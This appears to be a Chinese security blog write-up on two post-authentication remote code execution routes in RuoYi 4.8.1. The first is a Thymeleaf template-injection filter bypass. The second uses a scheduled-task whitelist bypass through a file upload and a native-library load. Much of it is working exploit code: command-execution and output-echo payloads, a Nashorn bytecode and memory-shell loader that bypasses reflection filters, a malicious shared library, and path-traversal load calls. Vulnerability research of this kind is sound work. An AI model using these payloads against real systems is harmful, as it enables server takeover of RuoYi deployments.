不能通杀!!!略鸡肋

不过大佬的思路太强了,值得学习,膜拜Orz

环境搭建

下载:https://gitee.com/y_project/RuoYi
我这里下载的是4.8.1

新建数据库ry,然后导入sql/ry_20250416.sql

修改src/main/resources/logback.xml的日志路径地址
修改src/main/resources/application-druid.yml的数据库账号密码

最后启动即可

Thymeleaf模板注入

这个版本的Thymelea版本为3.0.15

该版本修复了T ()这样执行RCE,并且新增了检测机制containsExpression

看到org.thymeleaf.spring5.util.SpringRequestUtils#checkViewNameNotInRequest

对viewName、requestURI、paramNames都做了检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private static boolean containsExpression(String text) {
int textLen = text.length();
boolean expInit = false;

for(int i = 0; i < textLen; ++i) {
char c = text.charAt(i);
if (!expInit) {
if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {
expInit = true;
}
} else {
if (c == '{') {
return true;
}

if (!Character.isWhitespace(c)) {
expInit = false;
}
}
}

return false;
}

检测关键字后面是否是{,如果是则返回true

看到后面的if (!Character.isWhitespace(c)),如果后面的字符不为空格,则expInit = false,又回到了第一个判断

如果我们连续使用两个$$,即

1
2
3
$->走if->expInit = true
$->走else->expInit = false
{->走if->绕过检测

但是默认不支持$${}这种写法

这里官方文档给了我们答案

可以使用

1
__|$${#response.addHeader("x-cmd","n4c1")}|__

等价于

1
__'$' + ${#response.addHeader("x-cmd","n4c1")}__

最后就是绕过org.thymeleaf.spring5.util.SpringStandardExpressionUtils#containsSpELInstantiationOrStaticOrParam方法

其实跟3.1.2的绕过方法一样,通过new.绕过

RCE:

1
__|$${new.java.lang.ProcessBuilder('bash','-c','open -a Calculator').start()}|__

回显

方法一:报错回显

1
__|$${new.java.util.Scanner(new.java.lang.ProcessBuilder("bash", "-c", "whoami").start().getInputStream(),"GBK").useDelimiter("\\A").next()}|__::.x

这里需要在后面加上::.x,至于为什么,X1r0z师傅有解释:对 Thymeleaf SSTI 的一点思考

方法二:header头回显

1
__|$${#response.addHeader('x-cmd',new.java.util.Scanner(new.java.lang.ProcessBuilder("bash", "-c", "ls").start().getInputStream(),"GBK").useDelimiter("\\A").next())}|__

方法三:字节码加载

1
__|$${new.javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator');")}|__

转换为通过Base64传参

1
__|$${new.javax.script.ScriptEngineManager().getEngineByName("js").eval(new.org.apache.shiro.codec.Base64().decodeToString("amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoJ29wZW4gLWEgQ2FsY3VsYXRvcicpOw=="))}|__

加载字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
function getUnsafe(){
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
} catch (error) {
reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
}
removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
var classBytes = "yv66vgAAA......";
var bytes = java.util.Base64.getDecoder().decode(classBytes);
var clz = null;
var version = java.lang.System.getProperty("java.version");
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
try{
if (version.split(".")[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
setAccessible(defineClassMethod);
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
}else{
var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
}
}catch(error){
error.printStackTrace();
}finally{
return clz.newInstance();
}
}
defineClass();

编码的时候需要先Base64再URL编码,加载回显/内存马即可

为什么说鸡肋

存在漏洞的代码在:https://gitee.com/y_project/RuoYi/blob/v4.8.1/ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java

可以看到是3年前的代码,主要是这三个接口外加一个demo的接口:

1
2
3
4
/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/demo/form/localrefresh/task

但是在:https://gitee.com/y_project/RuoYi-Vue

这四个接口都不存在Thymeleaf SSTI模板注入了

如今大部分网站都用的RuoYi-Vue,前后端分离的版本,gg

参考:
某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)
Thymeleaf漏洞汇总

计划任务&文件上传RCE

很巧妙啊

关键点在于profile:src/main/resources/application.yml,需要知道文件的上传路径

若依的后台计划任务支持Bean调用和Class类调用,主要的代码逻辑在:com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod

但根据版本迭代,在4.8.1版本中添加计划任务存在黑名单限制,com.ruoyi.quartz.controller.SysJobController#addSave

并且存在白名单检测:com.ruoyi.quartz.util.ScheduleUtils#whiteList

白名单字符串为:com.ruoyi.quartz.task
如果invokeTarget中包含白名单字符串,则能够添加计划任务

文件上传

存在文件上传接口/common/upload

可以看到上传的文件名前半部分可控

那么我们可以上传一个名字包含com.ruoyi.quartz.task字符串的文件

JNI RCE

在java中可以通过com.sun.glass.utils.NativeLibLoader#loadLibrary方法加载链接库

我们构造一个文件

1
2
3
4
5
6
7
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__ ((__constructor__)) void angel (void) {
system("open -a calculator");
}

gcc -arch x86_64 -shared -o 1.dylib calc.c
然后上传文件

这样就制造了一个白名单通道

由于我是mac系统,文件后缀必须为dylib

首先修改后缀名

1
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/Users/bmth/Web/代码审计/源码/RuoYi/RuoYi-v4.8.1/uploadPath/upload/2025/11/26/com.ruoyi.quartz.task_20251126171123A005.txt","/Users/bmth/Web/代码审计/源码/RuoYi/RuoYi-v4.8.1/uploadPath/upload/2025/11/26/com.ruoyi.quartz.task_20251126171123A005.dylib")

最后RCE

1
com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../../../../Users/bmth/Web/代码审计/源码/RuoYi/RuoYi-v4.8.1/uploadPath/upload/2025/11/26/com.ruoyi.quartz.task_20251126171123A005')

由于必须知道文件上传的绝对路径,相对比较鸡肋

默认路径:

1
2
Windows:D:/ruoyi/uploadPath
Linux:/home/ruoyi/uploadPath

参考:ruoyi4.8后台RCE分析